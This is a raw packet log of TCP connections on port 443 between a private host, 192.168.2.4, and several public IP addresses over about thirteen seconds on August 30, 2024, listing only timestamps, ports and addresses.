Aug 30, 2024 00:19:34.637152910 CEST	443	49793	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:34.657824039 CEST	49794	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:34.657866001 CEST	443	49794	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:34.657958031 CEST	49794	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:34.658174992 CEST	49794	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:34.658189058 CEST	443	49794	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:35.046236992 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.046278954 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.046618938 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.046869993 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.046875954 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.137993097 CEST	443	49794	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:35.254033089 CEST	443	49793	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.269503117 CEST	49794	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:35.274436951 CEST	49793	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:35.274466038 CEST	443	49793	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.274470091 CEST	49794	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:35.274482965 CEST	443	49794	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:35.275623083 CEST	443	49793	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.275684118 CEST	49793	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:35.276065111 CEST	443	49794	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:35.276078939 CEST	443	49794	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:35.276117086 CEST	49794	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:35.282705069 CEST	49793	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:35.282818079 CEST	443	49793	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.282984972 CEST	49794	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:35.283082962 CEST	443	49794	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:35.285124063 CEST	49793	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:35.285145044 CEST	443	49793	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.285198927 CEST	49794	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:35.285223961 CEST	443	49794	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:35.334909916 CEST	49793	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:35.393630981 CEST	443	49793	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.393790007 CEST	443	49793	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.393836975 CEST	49793	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:35.397393942 CEST	49793	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:35.397419930 CEST	443	49793	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.413862944 CEST	49798	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:35.413886070 CEST	443	49798	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.413961887 CEST	49798	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:35.414170980 CEST	49798	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:35.414186001 CEST	443	49798	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.441498041 CEST	443	49794	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:35.441562891 CEST	49794	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:35.444746971 CEST	49794	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:35.444772005 CEST	443	49794	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:35.655760050 CEST	49799	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:35.655814886 CEST	443	49799	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:35.655873060 CEST	49799	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:35.665469885 CEST	49799	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:35.665491104 CEST	443	49799	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:35.686127901 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.686578989 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.686599970 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.687735081 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.687787056 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.690067053 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.690124989 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.690464020 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.690478086 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.791126013 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.791146040 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.791183949 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.791199923 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.791224957 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.791229010 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.791245937 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.791945934 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.791986942 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.791992903 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.792009115 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.792052984 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.793819904 CEST	49796	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.793834925 CEST	443	49796	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.844988108 CEST	49800	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.845037937 CEST	443	49800	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.845089912 CEST	49800	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.845778942 CEST	49800	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:35.845798969 CEST	443	49800	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:35.993783951 CEST	443	49798	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.997509003 CEST	49798	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:35.997539043 CEST	443	49798	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.998636007 CEST	443	49798	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:35.998694897 CEST	49798	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:36.010385990 CEST	49798	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:36.010500908 CEST	443	49798	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:36.012808084 CEST	49798	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:36.012825012 CEST	443	49798	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:36.171547890 CEST	49801	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.171601057 CEST	443	49801	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.171823025 CEST	49801	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.172862053 CEST	49801	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.172888041 CEST	443	49801	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.175371885 CEST	49798	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:36.280755997 CEST	443	49798	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:36.280841112 CEST	443	49798	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:36.280931950 CEST	49798	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:36.283003092 CEST	443	49799	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.284426928 CEST	49799	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.284440994 CEST	443	49799	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.285368919 CEST	443	49799	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.285428047 CEST	49799	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.285841942 CEST	49799	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.285908937 CEST	443	49799	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.286139011 CEST	49799	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.286149979 CEST	443	49799	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.309222937 CEST	49798	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:36.309238911 CEST	443	49798	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:36.362864971 CEST	49799	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.395136118 CEST	443	49799	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.395210028 CEST	443	49799	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.395273924 CEST	49799	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.396265030 CEST	49799	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.396291971 CEST	443	49799	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.490063906 CEST	443	49800	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:36.490552902 CEST	49800	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:36.490586996 CEST	443	49800	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:36.491472006 CEST	443	49800	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:36.491542101 CEST	49800	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:36.492542982 CEST	49800	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:36.492614031 CEST	443	49800	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:36.493037939 CEST	49800	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:36.493046999 CEST	443	49800	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:36.594885111 CEST	443	49800	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:36.594907999 CEST	443	49800	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:36.594993114 CEST	49800	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:36.595014095 CEST	443	49800	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:36.595026016 CEST	443	49800	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:36.595067978 CEST	49800	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:36.598000050 CEST	49800	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:36.598020077 CEST	443	49800	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:36.742758036 CEST	443	49801	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.743063927 CEST	49801	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.743099928 CEST	443	49801	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.743458033 CEST	443	49801	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.743886948 CEST	49801	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.743963957 CEST	443	49801	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.744191885 CEST	49801	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.744276047 CEST	49801	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.744298935 CEST	443	49801	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.894202948 CEST	443	49801	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.894542933 CEST	443	49801	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:36.894771099 CEST	49801	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.895160913 CEST	49801	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:36.895185947 CEST	443	49801	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:37.121613026 CEST	49803	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:37.121656895 CEST	443	49803	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:37.121906996 CEST	49803	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:37.122325897 CEST	49803	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:37.122338057 CEST	443	49803	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:37.581841946 CEST	443	49803	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:37.644213915 CEST	49803	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:37.785293102 CEST	49803	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:37.785322905 CEST	443	49803	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:37.785895109 CEST	443	49803	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:37.789680958 CEST	49803	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:37.789800882 CEST	443	49803	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:37.790349007 CEST	49803	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:37.836508036 CEST	443	49803	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:37.897219896 CEST	443	49803	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:37.897315979 CEST	443	49803	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:37.897414923 CEST	49803	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:37.898979902 CEST	49803	443	192.168.2.4	35.190.10.96
Aug 30, 2024 00:19:37.898996115 CEST	443	49803	35.190.10.96	192.168.2.4
Aug 30, 2024 00:19:40.384980917 CEST	49813	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:40.384989977 CEST	443	49813	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:40.385040998 CEST	49813	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:40.386523008 CEST	49814	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:40.386531115 CEST	443	49814	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:40.386693954 CEST	49814	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:40.388350010 CEST	49814	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:40.388362885 CEST	443	49814	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:40.388890982 CEST	49813	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:40.388902903 CEST	443	49813	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:40.393212080 CEST	49817	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:40.393234015 CEST	443	49817	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:40.393296957 CEST	49817	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:40.394006968 CEST	49817	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:40.394021034 CEST	443	49817	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:40.429344893 CEST	49819	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:40.429372072 CEST	443	49819	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:40.429430008 CEST	49819	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:40.430979013 CEST	49819	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:40.430990934 CEST	443	49819	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:40.938446045 CEST	443	49814	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:40.938858032 CEST	49814	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:40.938889027 CEST	443	49814	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:40.939780951 CEST	443	49814	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:40.939852953 CEST	49814	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:40.940543890 CEST	49814	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:40.940602064 CEST	443	49814	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:41.017395973 CEST	49814	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:41.017405987 CEST	443	49814	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:41.175014019 CEST	49814	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:41.190172911 CEST	443	49819	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:41.193835974 CEST	443	49813	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:41.205379009 CEST	49819	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:41.205399036 CEST	443	49819	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:41.206295013 CEST	443	49819	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:41.206350088 CEST	49819	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:41.209265947 CEST	49813	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:41.209273100 CEST	443	49813	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:41.210230112 CEST	443	49813	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:41.210275888 CEST	49813	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:41.210894108 CEST	49819	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:41.210949898 CEST	443	49819	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:41.219014883 CEST	49813	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:41.219075918 CEST	443	49813	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:41.270448923 CEST	49813	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:41.270464897 CEST	443	49813	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:41.324168921 CEST	49813	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:41.366457939 CEST	49819	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:41.366472006 CEST	443	49819	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:41.372864008 CEST	443	49817	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:41.381266117 CEST	49817	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:41.381277084 CEST	443	49817	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:41.382437944 CEST	443	49817	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:41.382505894 CEST	49817	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:41.469527006 CEST	49819	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:41.521606922 CEST	49817	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:41.521778107 CEST	443	49817	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:41.575268984 CEST	49817	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:41.575282097 CEST	443	49817	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:41.675841093 CEST	49817	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:43.204662085 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:43.204668999 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:43.204760075 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:43.207479954 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:43.207495928 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.069611073 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.069892883 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.069919109 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.070939064 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.071000099 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.071345091 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.071403027 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.071505070 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.071511030 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.123903036 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.177710056 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.177740097 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.177747011 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.177776098 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.177789927 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.177798986 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.177831888 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.177855968 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.177871943 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.177913904 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.263359070 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.263402939 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.263431072 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.263430119 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.263472080 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.264307976 CEST	49835	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.264321089 CEST	443	49835	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.284368992 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.284403086 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.284499884 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.284991026 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.285005093 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.939142942 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.939868927 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.939881086 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.940963030 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.941025972 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.948074102 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.948158979 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.948209047 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.988500118 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:44.988713026 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:44.988734961 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.039880991 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:45.049901962 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.049928904 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.049936056 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.049948931 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.049956083 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.049957991 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.049998999 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:45.050039053 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.050059080 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:45.050096989 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:45.134512901 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.134545088 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.134573936 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.134646893 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:45.134656906 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.134676933 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:45.134696007 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:45.266354084 CEST	49841	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:45.266388893 CEST	443	49841	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.751224041 CEST	443	49814	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.751298904 CEST	443	49814	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.751463890 CEST	49814	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:45.757692099 CEST	443	49813	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:45.757755041 CEST	443	49813	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:45.758064985 CEST	49813	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:45.777915001 CEST	49813	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:45.777932882 CEST	443	49813	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:45.777993917 CEST	49814	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:45.778012991 CEST	443	49814	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.808613062 CEST	443	49819	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.808681011 CEST	443	49819	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:45.808912992 CEST	49819	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:45.845187902 CEST	49819	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:45.845207930 CEST	443	49819	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:46.874660015 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:46.874701977 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:46.874825001 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:46.874979973 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:46.874994040 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:46.912039042 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:46.912080050 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:46.912158966 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:46.912587881 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:46.912595987 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:46.952596903 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:46.952613115 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:46.952667952 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:46.952944040 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:46.952955008 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.532160044 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.550363064 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.550386906 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.550903082 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.557239056 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.557239056 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.557262897 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.557315111 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.573951960 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.600198030 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.629731894 CEST	49871	443	192.168.2.4	13.107.246.60
